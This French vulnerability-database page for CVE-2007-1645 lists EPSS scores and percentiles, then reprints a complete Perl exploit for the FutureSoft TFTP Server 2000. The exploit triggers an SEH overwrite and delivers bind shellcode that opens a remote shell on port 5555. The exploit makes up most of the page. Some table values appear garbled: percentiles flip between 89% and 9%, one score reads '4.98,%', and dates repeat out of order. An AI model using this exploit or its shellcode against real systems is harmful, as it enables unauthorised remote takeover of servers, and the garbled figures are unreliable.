CVE-2007-1645 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	5.53%	–	–
2022-04-03	–	–	5.53%	–	–
2022-07-17	–	–	5.53%	–	–
2022-07-24	–	–	5.53%	–	–
2022-08-28	–	–	5.53%	–	–
2023-03-12	–	–	–	4.07%	–
2023-08-27	–	–	–	4.09%	–
2023-12-24	–	–	–	4.07%	–
2024-02-11	–	–	–	4.07%	–
2024-05-19	–	–	–	3.18%	–
2024-06-02	–	–	–	3.18%	–
2024-10-06	–	–	–	2.75%	–
2024-12-22	–	–	–	2.75%	–
2025-02-23	–	–	–	2.75%	–
2025-01-19	–	–	–	2.75%	–
2025-02-23	–	–	–	2.75%	–
2025-03-18	–	–	–	–	4.98%
2025-03-18	–	–	–	–	4.98,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	77%
2022-04-03	89%
2022-07-17	9%
2022-07-24	89%
2022-08-28	9%
2023-03-12	91%
2023-08-27	91%
2023-12-24	91%
2024-02-11	92%
2024-05-19	91%
2024-06-02	91%
2024-10-06	91%
2024-12-22	9%
2025-02-23	91%
2025-01-19	9%
2025-02-23	91%
2025-03-18	89%
2025-03-18	89%

#!/usr/bin/perl # =============================================================================================== # FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit # By Umesh Wanve # =============================================================================================== # # Date : 22-03-2007 # # Tested on Windows 2000 SP4 Server English # Windows 2000 SP4 Professional English # # You can replace shellcode with your favourite one :) # # # Stack ---> buffer === AAAAA......... # | # Pointer to next SEH === Short Jump to Hellcode # | # SEH Handler === Pop, Pop, Ret (ws2help.dll win2000 sp4) # | # NOP Sled === Nop Sled # | # Hellcode === Hell......... # # This exploit will open port 5555 on remote server. Connect it to open shell. # # # P.S: This was written for educational purpose. Use it at your own risk.Author will be not be # responsible for any damage. # # Always Thanks to Metasploit. # #================================================================================================== use IO::Socket; #use strict; my($read_request)="\x00\x01"; # GET or PUT request my($tailer)="\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; #transporting mode (eg. netascii) # win32_bind - EXITFUNC=seh LPORT=5555 Size=344 Encoder=Pex http://metasploit.com my($shellcode)= "\x90\x90\x90\x90". #padding "\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x60". "\x5f\x45\x77\x83\xee\xfc\xe2\xf4\x9c\x35\xae\x3a\x88\xa6\xba\x88". "\x9f\x3f\xce\x1b\x44\x7b\xce\x32\x5c\xd4\x39\x72\x18\x5e\xaa\xfc". "\x2f\x47\xce\x28\x40\x5e\xae\x3e\xeb\x6b\xce\x76\x8e\x6e\x85\xee". "\xcc\xdb\x85\x03\x67\x9e\x8f\x7a\x61\x9d\xae\x83\x5b\x0b\x61\x5f". "\x15\xba\xce\x28\x44\x5e\xae\x11\xeb\x53\x0e\xfc\x3f\x43\x44\x9c". "\x63\x73\xce\xfe\x0c\x7b\x59\x16\xa3\x6e\x9e\x13\xeb\x1c\x75\xfc". "\x20\x53\xce\x07\x7c\xf2\xce\x37\x68\x01\x2d\xf9\x2e\x51\xa9\x27". "\x9f\x89\x23\x24\x06\x37\x76\x45\x08\x28\x36\x45\x3f\x0b\xba\xa7". "\x08\x94\xa8\x8b\x5b\x0f\xba\xa1\x3f\xd6\xa0\x11\xe1\xb2\x4d\x75". "\x35\x35\x47\x88\xb0\x37\x9c\x7e\x95\xf2\x12\x88\xb6\x0c\x16\x24". "\x33\x0c\x06\x24\x23\x0c\xba\xa7\x06\x37\x50\xc4\x06\x0c\xcc\x96". "\xf5\x37\xe1\x6d\x10\x98\x12\x88\xb6\x35\x55\x26\x35\xa0\x95\x1f". "\xc4\xf2\x6b\x9e\x37\xa0\x93\x24\x35\xa0\x95\x1f\x85\x16\xc3\x3e". "\x37\xa0\x93\x27\x34\x0b\x10\x88\xb0\xcc\x2d\x90\x19\x99\x3c\x20". "\x9f\x89\x10\x88\xb0\x39\x2f\x13\x06\x37\x26\x1a\xe9\xba\x2f\x27". "\x39\x76\x89\xfe\x87\x35\x01\xfe\x82\x6e\x85\x84\xca\xa1\x07\x5a". "\x9e\x1d\x69\xe4\xed\x25\x7d\xdc\xcb\xf4\x2d\x05\x9e\xec\x53\x88". "\x15\x1b\xba\xa1\x3b\x08\x17\x26\x31\x0e\x2f\x76\x31\x0e\x10\x26". "\x9f\x8f\x2d\xda\xb9\x5a\x8b\x24\x9f\x89\x2f\x88\x9f\x68\xba\xa7". "\xeb\x08\xb9\xf4\xa4\x3b\xba\xa1\x32\xa0\x95\x1f\x90\xd5\x41\x28". "\x33\xa0\x93\x88\xb0\x5f\x45\x77". "\x90\x90\x90\x90". #padding "\x90\x90\x90\x90"; my($pointer_to_next_seh)="\xeb\x06\x90\x90"; #short jump to shellcode my($seh_handler)="\xa9\x11\x02\x75"; #pop, pop, ret #(ws2help.dll win2000 sp4) #Building malicious buffer my($buffer)=$read_request.("A" x 268).$pointer_to_next_seh.$seh_handler.$shellcode.$tailer; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "69", Proto => "UDP")) { print "++Building Packet......\n" ; print "++Connecting to server.....\n"; print "++Sending Buffer ....\n"; print "++Exploit Successfull...\n"; print "++Connect to victim on 5555.....\n"; # request + file name + mode #see tftp protocol print $socket $buffer; sleep(1); close($socket); } else { print "Cannot connect to $ARGV[0]:69\n"; } # __END_CODE # milw0rm.com [2007-03-22]